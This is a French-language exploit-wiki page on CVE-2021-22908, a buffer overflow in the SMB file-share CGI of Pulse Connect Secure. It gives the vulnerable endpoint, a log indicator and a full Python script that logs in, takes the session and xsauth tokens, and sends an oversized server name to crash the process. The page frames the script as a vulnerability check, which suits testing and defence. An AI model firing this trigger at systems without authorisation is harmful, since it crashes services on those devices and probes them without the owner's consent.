View source for CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/fr

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==Description de la vulnérabilité==

Étant donné que PCS prend en charge la connexion au partage de fichiers Windows (SMB), la fonction est fournie par des scripts CGI basés sur les bibliothèques Samba 4.5.10 et les applications auxiliaires. Lors de la spécification d'un nom de serveur long pour certaines opérations SMB, l'application smbclt peut se bloquer en raison d'un dépassement de mémoire tampon, selon la longueur du nom de serveur spécifié.

Il a été confirmé que le système PCS 9.1R11.4 présente cette vulnérabilité. Le point de terminaison CGI cible est <code>/dana/fb/smb/wnf.cgi</code>. D'autres points de terminaison CGI peuvent également déclencher cette vulnérabilité.

Si un attaquant ne parvient pas à nettoyer après avoir exploité avec succès cette vulnérabilité, la spécification d'un nom de serveur long peut entraîner les entrées de journal d'événements PCS suivantes :
<pre>
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
</pre>

Mais pour exploiter cette vulnérabilité, le serveur PCS doit avoir une politique d'accès aux fichiers Windows qui autorise \\* ou une autre politique qui permet à un attaquant de se connecter à n'importe quel serveur. Vous pouvez afficher la politique SMB actuelle en affichant Utilisateur->Politique de ressource->Politique d'accès aux fichiers Windows sur la page de gestion PCS. Les périphériques PCS 9.1R2 et antérieurs utilisent la politique par défaut d'autorisation des connexions à n'importe quel hôte SMB. À partir de la 9.1R3, cette politique a été modifiée de l'autorisation par défaut au rejet par défaut.

==Périmètre d'influence==
Pulse Connect Secure 9.0RX and 9.1RX

==POC==
<pre>
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
    def __init__(self, searchval):
        super(type (self), self).__init__()
        self.searchval = searchval
    def handle_starttag(self, tag, attrs):
        if tag == 'input':
            # We're just looking for form <input> tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'name'):
                    if(attr[1] == self.searchval):
                        foundelement = True
                elif(attr[0] == 'value' and foundelement == True):
                     self.data = attr[1]

class preauthfinder(HTMLParser):
    foundelement = False
    def handle_starttag(self, tag, attrs):
        if tag == 'textarea':
            # We're just looking for <textarea> tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'id'):
                    if(attr[1] == 'sn-preauth-text_2'):
                        self.foundelement = True
    def handle_data(self, data):
        if self.foundelement:
            self.data = data
            self.foundelement = False



def get_realm(host, defaulturi):
    realm = None
    print('Getting default realm for %s...' % host)
    url = 'https://%s%s' % (host,defaulturi)
    res = None
    try:
        res = requests.get(url, verify=False, timeout=10)
    except requests.exceptions.ConnectionError:
        print('Error retrieving %s' % url)

    if res:
        if res.status_code == 200:
            html = str(res.content)
            if 'sn-preauth-text_2' in html:
                print('Preauth required...')
                parser = preauthfinder()
                parser.feed(html)
                preauthtext = parser.data
                values = {'sn-preauth-text': preauthtext, 'sn-preauth-proceed': 'Proceed'}
                res = requests.post(res.url, data=values, verify=False, allow_redirects=False, timeout=10)
                if res.content:
                    parser = formvaluefinder('realm')
                    parser.feed(str(res.content))
                    realm = parser.data
                else:
                    print('Error retrieving login page')

            else:
                parser = formvaluefinder('realm')
                parser.feed(html)
                realm = parser.data
    return realm

def get_dsid(host, defaulturi, realm, user, password):
    dsid = None
    loginuri = defaulturi.replace('welcome.cgi', 'login.cgi')
    url = 'https://%s%s' % (host,loginuri)
    values = {'username': user, 'password': password, 'realm': realm, 'btnSubmit': 'Sign In'}
    res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
    if 'confirm' in res.headers['location']:
        # Redirect to "user-confirm" that they still want to log in, despite already
        # having an active session
        print('User session is already active! Proceeding...')
        res = requests.post(url, data=values, verify=False, allow_redirects=True, timeout=10)
        parser = formvaluefinder('FormDataStr')
        parser.feed(str(res.content))
        formdata = parser.data
        values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
        res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
        for cookie in res.cookies:
            if cookie.name == 'DSID':
                dsid = cookie.value
    elif 'cred' in res.headers['location']:
        # This is a pulse that requires 2FA
        res = requests.post(url, data=values, verify=False, allow_redirects=False, timeout=10)
        for cookie in res.cookies:
            if cookie.name == 'id':
                key = cookie.value
        password2 = input('MFA code: ')
        values = {'key': key, 'password#2': password2, 'btnSubmit': 'Sign In'}
        cookies = {'id': key, 'DSSigninNotif': '1'}
        res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
        if 'confirm' in res.headers['location']:
            # Redirect to "user-confirm" that they still want to log in, despite already
            # having an active session
            print('User session is already active! Proceeding...')
            res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
            parser = formvaluefinder('FormDataStr')
            parser.feed(str(res.content))
            formdata = parser.data
            values = {'btnContinue' : 'Continue the session', 'FormDataStr': formdata}
            res = requests.post(url, data=values, cookies=cookies, verify=False, allow_redirects=False, timeout=10)
            for cookie in res.cookies:
                if cookie.name == 'DSID':
                    dsid = cookie.value
        else:
            for cookie in res.cookies:
                if cookie.name == 'DSID':
                    dsid = cookie.value
    elif 'failed' in res.headers['location']:
        print('Login failed!')
    else:
        # Login accepted
        for cookie in res.cookies:
            if cookie.name == 'DSID':
                dsid = cookie.value

    return dsid


def get_xsauth(host, dsid):
    xsauth = None
    url = 'https://%s/dana/home/index.cgi' % host
    cookies = {'DSID':dsid}
    res = requests.get(url, verify=False, cookies=cookies, timeout=10)
    if 'xsauth' in str(res.content):
        parser = formvaluefinder('xsauth')
        parser.feed(str(res.content))
        xsauth = parser.data
    else:
        print('Cannot find xsauth string for provided DSID: %s' % dsid)
    return xsauth

def trigger_vul(host, dsid, xsauth):
    url = 'https://%s/dana/fb/smb/wnf.cgi' % host
    values = {
        't': 's',
        'v': '%s,,' % ('A' * 1800),
        'dir': 'tmp',
        'si': None,
        'ri': None,
        'pi': None,
        'confirm': 'yes',
        'folder': 'tmp',
        'acttype': 'create',
        'xsauth': xsauth,
        'create': 'Create Folder',
        }
    cookies = {'DSID': dsid}
    try:
        res = requests.post(url, data=values, verify=False, allow_redirects=False, cookies=cookies, timeout=60)
        status = res.status_code
        if 'DSIDFormDataStr' in str(res.content):
            # We got page asking to confirm our action
            print('xsauth value was not accepted')
        else:
            if status == 200 and 'Error FB-8' in str(res.content):
                print('HTTP %s.  Windows File Access Policies prevents exploitation.' % status)
            elif status == 200:
                print('HTTP %s.  Not vulnerable.' % status)
            elif status == 403:
                print('HTTP %s.  XML workaround applied.' % status)
            elif status == 500:
                print('HTTP %s.  %s is vulnerable to CVE-2021-22908!' % (status, host))
            elif status == 302:
                print('HTTP %s.  Are you sure your DSID is valid?' % host)
            else:
                print('HTTP %s.  Not sure how to interpret this result.' % status)
    except requests.exceptions.ReadTimeout:
        print('No response from server. Try again...')


def get_default(host):
    url = 'https://%s' % host
    res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
    try:
        location = res.headers['location']
        if 'dana-na' not in location:
            print('%s does not seem to be a PCS host' % host)
            location = None
    except:
        pass
    return location

def check_xml(host):
    url = 'https://%s/dana/meeting' % host
    #print('Checking status of %s ...' % url)
    res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
    if res.status_code == 403:
        print('Workaround-2104 appears to be installed')
    else:
        print('Workaround-2104 does NOT seem to be installed. Hope you are on R11.4 or later!')

    url = 'https://%s/dana-cached/fb/smb/wfmd.cgi' % host
    #print('Checking status of %s ...' % url)
    res = requests.get(url, verify=False, allow_redirects=False, timeout=10)
    if res.status_code == 403:
        print('Workaround-2105 appears to be installed')
    else:
        print('Workaround-2105 does NOT seem to be installed. Hope you are on R11.5 or later!')


host = args.host
if args.noauth:
    check_xml(host)
else:
    defaulturi = get_default(host)
    if defaulturi:

        if not args.realm:
            realm = get_realm(host, defaulturi)
        else:
            realm = args.realm

        if realm:
            print('Realm: %s' % realm)
            if not args.user and not args.dsid:
                user = input('User: ')
            else:
                user = args.user
            if not args.password and not args.dsid:
                password = getpass.getpass()
            else:
                password = args.password
            if not args.dsid:
                dsid = get_dsid(host, defaulturi, realm, user, password)
                print('DSID: %s' % dsid)
            else:
                dsid = args.dsid
            if dsid:
                if not args.xsauth:
                    xsauth = get_xsauth(host, dsid)
                    print('xsauth: %s' % xsauth)
                else:
                    xsauth = args.xsauth
                if xsauth:
                    trigger_vul(host, dsid, xsauth)
</pre>

==Référence==
https://short.pwnwiki.org/?c=1NiPen

https://short.pwnwiki.org/?c=2Um6Rb